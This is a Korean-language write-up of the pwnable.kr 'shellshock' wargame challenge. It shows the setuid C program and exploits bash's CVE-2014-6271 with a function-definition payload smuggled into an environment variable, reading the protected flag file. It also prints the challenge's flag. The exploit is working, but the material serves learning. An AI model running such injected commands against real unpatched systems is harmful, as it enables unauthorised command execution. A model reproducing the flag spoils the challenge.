pwnable.kr [shellshock] 풀이

shellshock - 1 pt

Mommy, there was a shocking news about bash.

I bet you already know, but lets just make it sure :)

ssh shellshock@pwnable.kr -p2222 (pw:guest)

shellshock@ubuntu:~$ cat shellshock.c

#include <stdio.h>

int main(){

setresuid(getegid(), getegid(), getegid());

setresgid(getegid(), getegid(), getegid());

system("/home/shellshock/bash -c 'echo shock_me'");

return 0;

}

bash의 shellshock 취약점 문제 

shellshock@ubuntu:~$ env x='() { :;}; echo hi' ./bash

hi

취약점이 있다.

그러면 shellshock의 권한을 이용해서 flag를 읽으면 될 것 같다.

env x='() { :;}; /bin/cat flag' ./shellshock

shellshock@ubuntu:~$ env x='() { :;}; /bin/cat flag' ./shellshock

only if I knew CVE-2014-6271 ten years ago..!!

Segmentation fault

FLAG : only if I knew CVE-2014-6271 ten years ago..!!